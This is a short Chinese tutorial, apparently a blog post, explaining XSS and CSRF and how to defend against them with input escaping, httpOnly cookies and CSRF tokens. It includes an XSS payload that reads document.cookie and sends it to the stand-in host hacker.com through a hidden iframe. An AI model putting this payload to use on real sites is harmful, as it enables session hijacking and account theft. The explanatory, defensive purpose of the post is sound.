XSS和CSRF

xss(cross site script)，跨站脚本攻击，简称本应该是css,但是为了避免和css层叠样式表冲突，退而求其次取xss.
csrf(Cross-site request forgery)，跨站请求伪造

让我尝试用大白话来解释一下这两者的概念和如何防范。

XSS概念

在一些社交论坛，各种网站的评论区都是xss注入的高发区，也就是只要有用户输入的地方，就有可能发生xss注入。因为公民不一定是人民。

假如你在评论区中留下了这样的评论。

<script>
  while( true ) {
    alert('xss');
  }
</script>

这段评论前端不做任何处理发送到服务器后，后端也不做任何处理，后端直接将这段文字渲染出来。那么打开这个页面的人就会关不掉浏览器弹窗提示，可以说是遭到了xss攻击。

当然这并没有造成太大的损失。如果把刚刚那段代码改成这样。

<script>
  (function () {
    var cookie = document.cookie;
    var hackerURL = 'http://hacker.com/getCookie?cookie=';
    var url = hackerURL + encodeURI(cookie);

    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = url;
    document.body.appendChild(iframe);
  }())
</script>

这样你的cookie就被黑客盗取了。稍微了解服务端的人都知道cookie是用户的识别凭证。黑客拿到了这个cookie，就可以伪造用户，后果不堪设想。这就是下面要说的csrf了。

还有一种情况。就是使用innerHTML.

如果有的需求需要将用户的输入实时显示在页面上。比如说编辑器。

编辑器可能需要使用html标签进行排版，如果用户输入上面例子中的代码，如果不对用户输入进行转义也会发生上面的xss注入攻击了。

或者页面显示内容是使用innerHTML拼接的字符串，那么对于用户输入的部分就要额外小心。

现在开源的高star编辑器一般都会对用户进行转义了。

不一定是script标签才能执行js，任何带onload或者onclick事件的html标签都可能成为xss注入的载体。

防范措施的根本是对用户输入进行转义。

csrf

xss是实现csrf的一种方式。当用户拿到用户的cookie之后就可以伪造用户进行黑客行为了。

通过xss实现的csrf也叫做xsrf。

我们可以设置cookie为httpOnly，这样js就不能获取cookie的值了。

那么这时候黑客就改变机制。使用钓鱼网站。

当你在某个网站登录了，比如说网上银行。这也意味着在浏览器中保存了cookie。当你同时点进入了一个黑客的链接。

执行了黑客的脚本，这段脚本使用浏览器自带携带cookie的机制，可能会执行删帖，转账任何可能的操作。

但是浏览器的同源政策限制了不能在js中发出跨域请求。

那么我可以使用iframe或者img来模拟get请求。所以说网站服务端api的设计最好符合restful风格。使用get请求资源，put,delete,post修改资源。

这样就增大了黑客伪造的难度，让我们的网站相对安全一些了。

但是iframe还是可以模拟post请求啊。

所以对于表单的提交需要使用令牌。令牌可以存储在浏览器中，提交表单的时候只有网站用户才会提交这个令牌到服务器进行校对。而黑客不知道这个令牌的存在也就无法伪造成功了。